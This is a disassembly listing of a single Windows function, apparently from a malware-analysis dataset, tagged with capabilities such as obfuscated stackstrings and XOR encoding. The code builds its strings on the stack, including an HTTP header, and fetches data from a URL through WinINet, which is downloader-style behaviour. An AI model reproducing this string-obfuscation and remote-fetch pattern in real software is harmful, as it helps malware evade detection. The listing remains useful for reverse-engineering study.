Function at 0x40af2d
Capabilities:
Contain obfuscated stackstrings
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x668
cmp dword [0x5161cf], 0
push ebx
mov ebx, edx
push esi
mov dword [ebp - 0x68], ebx
mov esi, ecx
je 0x40b217
push edi
mov edi, 0x5161d3
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x40b216
xor eax, eax
push eax
push eax
push eax
push 1
push esi
call dword [sym.imp.WININET.dll_InternetOpenW]
mov esi, eax
test esi, esi
je 0x40b216
mov ecx, dword [0x5161cf]
lea eax, [ebp - 0x268]
inc ecx
push ecx
push eax
push 0xffffffffffffffff
push edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov byte [ebp - 0x20], 0x59
mov byte [ebp - 0x1f], 7
mov byte [ebp - 0x1e], 0x6c
mov byte [ebp - 0x1d], 7
mov byte [ebp - 0x1c], 0x6d
mov byte [ebp - 0x1b], 7
mov byte [ebp - 0x1a], 0x6c
mov byte [ebp - 0x19], 7
mov byte [ebp - 0x18], 0x79
mov byte [ebp - 0x17], 7
mov byte [ebp - 0x16], 0x6c
mov byte [ebp - 0x15], 7
mov byte [ebp - 0x14], 0x79
mov byte [ebp - 0x13], 7
mov byte [ebp - 0x12], 0x41
mov byte [ebp - 0x11], 7
mov byte [ebp - 0x10], 0x27
mov byte [ebp - 0xf], 7
mov byte [ebp - 0xe], 7
mov byte [ebp - 0xd], 0
mov al, byte [ebp - 0x20]
xor eax, eax
sub byte [ebp + eax - 0x20], 7
inc eax
cmp eax, 0x13
jb 0x40afea
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x168]
push ebx
push eax
call edi
mov dword [ebp - 0xc], 0x3c
mov eax, dword [ebp - 0xc]
xor al, 0xd
mov byte [ebp - 8], al
mov eax, dword [ebp - 0xc]
inc al
mov byte [ebp - 7], al
mov eax, dword [ebp - 0xc]
add al, 2
xor al, 0xa
mov byte [ebp - 6], al
mov eax, dword [ebp - 0xc]
add al, 3
mov byte [ebp - 5], al
mov eax, dword [ebp - 0xc]
add al, 4
xor ebx, ebx
mov byte [ebp - 4], al
mov edx, ebx
mov al, byte [ebp - 8]
mov byte [ebp - 3], bl
mov al, byte [ebp + edx - 8]
mov ecx, dword [ebp - 0xc]
add cl, dl
xor cl, al
mov byte [ebp + edx - 8], cl
inc edx
cmp edx, 5
jb 0x40b051
lea eax, [ebp - 8]
mov byte [ebp - 3], bl
push eax
lea eax, [ebp - 0x168]
push eax
call edi
push ebx
push closesocket
lea eax, [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x268]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, eax
test edi, edi
je 0x40b213
lea eax, [ebp - 0x64]
push eax
push 0x400
lea eax, [ebp - 0x668]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40b0d0
cmp dword [ebp - 0x64], 0
ja 0x40b0af
push edi
call ebx
mov dword [ebp - 0x60], 0x27
xor edx, edx
mov byte [ebp - 0x5c], 0x72
mov byte [ebp - 0x5b], 0x27
mov byte [ebp - 0x5a], 0x75
mov byte [ebp - 0x59], 0x27
mov byte [ebp - 0x58], 0x6b
mov byte [ebp - 0x57], 0x27
mov byte [ebp - 0x56], 0x1d
mov byte [ebp - 0x55], 0x27
mov byte [ebp - 0x54], 7
mov byte [ebp - 0x53], 0x27
mov byte [ebp - 0x52], 2
mov byte [ebp - 0x51], 0x27
mov byte [ebp - 0x50], 0x54
mov byte [ebp - 0x4f], 0x27
mov byte [ebp - 0x4e], 0x1c
mov byte [ebp - 0x4d], 0x27
mov byte [ebp - 0x4c], 7
mov byte [ebp - 0x4b], 0x27
mov byte [ebp - 0x4a], 0x69
mov byte [ebp - 0x49], 0x27
mov byte [ebp - 0x48], 0x48
mov byte [ebp - 0x47], 0x27
mov byte [ebp - 0x46], 0x53
mov byte [ebp - 0x45], 0x27
mov byte [ebp - 0x44], 0x4e
mov byte [ebp - 0x43], 0x27
mov byte [ebp - 0x42], 0x44
mov byte [ebp - 0x41], 0x27
mov byte [ebp - 0x40], 0x42
mov byte [ebp - 0x3f], 0x27
mov byte [ebp - 0x3e], 0x1d
mov byte [ebp - 0x3d], 0x27
mov byte [ebp - 0x3c], 7
mov byte [ebp - 0x3b], 0x27
mov byte [ebp - 0x3a], 2
mov byte [ebp - 0x39], 0x27
mov byte [ebp - 0x38], 0x54
mov byte [ebp - 0x37], 0x27
mov byte [ebp - 0x36], 0x27
mov al, byte [ebp - 0x5c]
mov byte [ebp - 0x35], 0
mov al, byte [ebp + edx - 0x5c]
mov ecx, dword [ebp - 0x60]
xor cl, al
mov byte [ebp + edx - 0x5c], cl
inc edx
cmp edx, 0x27
jb 0x40b17f
mov byte [ebp - 0x35], 0
xor edx, edx
mov dword [ebp - 0x34], 0x1e
mov byte [ebp - 0x30], 0x75
mov byte [ebp - 0x2f], 0x1e
mov byte [ebp - 0x2e], 0x70
mov byte [ebp - 0x2d], 0x1e
mov byte [ebp - 0x2c], 0x71
mov byte [ebp - 0x2b], 0x1e
mov byte [ebp - 0x2a], 0x7d
mov byte [ebp - 0x29], 0x1e
mov byte [ebp - 0x28], 0x75
mov byte [ebp - 0x27], 0x1e
mov byte [ebp - 0x26], 0x7b
mov byte [ebp - 0x25], 0x1e
mov byte [ebp - 0x24], 0x7a
mov byte [ebp - 0x23], 0x1e
mov byte [ebp - 0x22], 0x1e
mov al, byte [ebp - 0x30]
mov byte [ebp - 0x21], 0
mov al, byte [ebp + edx - 0x30]
mov ecx, dword [ebp - 0x34]
xor cl, al
mov byte [ebp + edx - 0x30], cl
inc edx
cmp edx, 0xf
jb 0x40b1e2
push dword [ebp - 0x68]
lea eax, [ebp - 0x268]
mov byte [ebp - 0x21], 0
push eax
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.00411c06
add esp, 0x10
push esi
call ebx
pop edi
pop esi
pop ebx
leave
ret